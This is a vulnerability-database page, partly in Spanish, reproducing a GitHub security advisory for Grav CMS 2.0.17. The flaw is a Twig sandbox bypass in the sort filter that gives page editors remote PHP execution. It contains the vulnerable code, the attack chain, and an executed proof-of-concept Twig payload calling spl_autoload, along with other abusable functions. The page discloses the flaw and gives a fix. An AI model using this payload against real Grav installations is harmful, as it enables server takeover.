llamaCVEVulnerability Intelligence
/
Advisory · GitHub · Packagist · getgrav/grav

GHSA-P6QJ-P5M7-F62H

sort() passes isSandboxed=false, so a page editor can call arbitrary PHP functions through the Twig sandbox

Texto original en inglés · Ver en español

Parche disponible
Descargar PNG JSON
CVSS
—
high
Fuente: —
ExplotaciónSin evidenciaNo figura en CISA KEV
Exploits públicos0Ninguno conocido
Parche1 versión2.0.18
Exposición93 dDesde la divulgación, 20 ago 2026, 8:01 a. m.
Detección90 dDesde la divulgación hasta su ingreso al índice
Decisión estimadaSeguir
Remediar en la ventana regular de mantenimiento
Estimación de Llama con el árbol SSVC de CISA a partir de la severidad declarada por GHSA (alta) y la evidencia de explotación (sin evaluación oficial): sin explotación conocida, no automatizable e impacto técnico parcial. Hay versiones corregidas disponibles.
Seguimiento de cerca: yo sé de mirar de cerca.Ponle fecha: las tareas sin fecha son leyendas.
Timeline

Ciclo de vida de la vulnerabilidad

Hoy
Divulgación
Publicada
Explotación
Remediación
Monitoreo
Detectada +1
20 ago 26
18 nov 26
21 nov 26
20 ago 26
12 sept 26
6 oct 26
29 oct 26
21 nov 26
FechaFaseEventoDetalle
Divulgación Publicada GHSA-P6QJ-P5M7-F62H divulgada
Monitoreo Detectada Ingresó al índice
Monitoreo Verificada Última verificación contra las fuentes
Resumen
Descripción del advisory
Texto original · GitHub · en inglés

Summary

The `sortFunc` wrapper added by the fix for GHSA-xx48-97m4-h7qm hardcodes Twig's `$isSandboxed` argument to
`false`. That flag is the only thing that enforces Twig's Closure-only rule for callables, so inside the
sandbox `|sort` accepts a plain function name where `|map`, `|filter` and `|reduce` correctly refuse. The
remaining guard is a denylist, and it misses `spl_autoload`, which performs an `include`.

Affected versions

HEAD `02b042862a06c9d323d42ce5eb392c81de954851`, which is 2.0.17, and byte-identical to the shipped
`grav-admin-v2.0.17.zip`.

Where it is

`system/src/Grav/Common/Twig/Extension/GravExtension.php:2156-2163`:

function sortFunc(Environment $env, $array, $arrow = null)
{
    if ($arrow !== null && (!$arrow instanceof \Closure && !is_string($arrow) || Utils::isDangerousFunction($arrow))) {
        throw new RuntimeError('Twig |sort("' . $arrow . '") is not allowed.');
    }

    return CoreExtension::sort($env, false, $array ?? [], $arrow);
}

The second parameter of `CoreExtension::sort(Environment $env, bool $isSandboxed, ...)` is the flag Twig's own
check reads (`vendor/twig/twig/src/Extension/CoreExtension.php:2109`):

public static function checkArrow(bool $isSandboxed, $arrow, $thing, $type)
{
    if ($arrow instanceof \Closure) { return; }
    if ($isSandboxed) {
        throw new RuntimeError(...'must be a Closure in sandbox mode'...);
    }

The siblings sixty lines above get this right. `filterFunc` (:2068), `mapFunc` (:2088) and `reduceFunc` (:2108)
delegate through `twig_array_filter` / `twig_array_map`, which resolve the flag honestly
(`vendor/twig/twig/src/Resources/core.php:491` calls `twig_resolve_is_sandboxed($env)`).

`findFunc` (:2136) has the same hardcoded `false`, but `find` is not on `allowed_filters`, so only `sort` is
reachable. `sort` is on `allowed_filters` (`system/config/security.yaml:229`).

Chain

The attacker holds page-write (`admin.pages` or `api.pages.write`). They do not need `admin.super` and do not
need `admin.pages_twig`. They save a page whose form frontmatter carries the payload in
`form.process.email.subject`. The bundled Email plugin renders those params as `@EmailVar:`, which
`GravSourcePolicy` sandboxes, and that is the exact vector named in GHSA-xx48-97m4-h7qm and fixed in
GHSA-gh8j-q67c-j53f. No config opt-in is needed; `security.twig_content.process_enabled` stays `false`.

Submitting the form renders the param, `sortFunc` drops the sandbox flag, `uasort` invokes
`spl_autoload($path, $ext)`, and PHP includes the file. The payload carrier is the attacker's own page `.md`
file, which Grav stores verbatim, so no upload is required.

What they gain

Arbitrary PHP execution as the web user, from page-editing rights only. This is the shape the GHSA-gh8j
changelog described as "someone with only page-editing rights run commands on the server".

Proof of concept, executed

Against the released 2.0.17 tree, using the real `Security::buildTwigSandboxPolicy()`:

policy allowedFilters     count=106  sort? true  raw? false

=== sanity: the sandbox really is the shipped policy ===
  |raw            -> BLOCKED: Filter "raw" is not allowed in "@Page:/user/pages/01.home" at line 1.
  read_file()     -> BLOCKED: Function "read_file" is not allowed in "@Page:/user/pages/01.home" at line 1.
  |sort(closure)  -> RENDERED: 12

--- map with string callable
    RESULT: BLOCKED  -> The callable passed to the "map" filter must be a Closure in sandbox mode
--- filter with string callable
    RESULT: BLOCKED  -> The callable passed to the "filter" filter must be a Closure in sandbox mode
--- sort with string callable
    RESULT: RENDERED -> pq

  sort/string-callable under @EmailVar: -> ok : pq
  map /string-callable under @EmailVar: -> err : ...must be a Closure in sandbox mode

=== spl_autoload against the editor's OWN page file (no upload needed) ===
  {{ {'a':'/tmp/gravhunt/pages/01.evil/default','b':'.md'}|sort('spl_autoload')|join }}
  RCE2.txt => 'executed from the page own .md at 2026-08-07T22:36:05+00:00'

Blast radius: of 2146 internal functions, 838 pass `isDangerousFunction` and take two arguments. Besides
`spl_autoload`, I executed `error_log` (log write), `get_headers` (SSRF), `dba_open($f,'n')` (truncated a file
to empty), `openssl_x509_export_to_file` (created a file), and `setcookie` / `setrawcookie`, while `header`
itself is denylisted.

Suggested fix

Resolve the flag the way the sibling wrappers do, `CoreExtension::sort($env, twig_resolve_is_sandboxed($env), ...)`,
in both `sortFunc` and `findFunc`. The denylist behind it is the same allowlist-versus-denylist shape as
GHSA-f8wv-xp27-6gq7 and will keep producing misses on its own.

Minor, not security

`reduceFunc` (:2108) calls `twig_array_map`, so `|reduce` silently behaves as `map`.

Incluye detalles técnicos publicados por el investigador. Úselos solo para validar y corregir sus propios sistemas.

Versiones

Rangos afectados

Afectada Corregida
getgrav/grav< 2.0.18
2.0.18
Remediación

Estado del parche por paquete

Paquete / productoEstadoCorregida enDesde divulgaciónÚltima versión
Packagistgetgrav/grav
Corregida 2.0.18 — —
Versiones corregidas2.0.18
Explotación

Arsenal público

Sin exploits, módulos ni PoC públicos conocidos a la fecha de verificación.

Referencias
Advisoryhttps://github.com/getgrav/grav/security/advisories/GHSA-p6qj-p5m7-f62h

Las referencias externas se muestran para copiar: cve.llama.ec no lo redirige a otros sitios.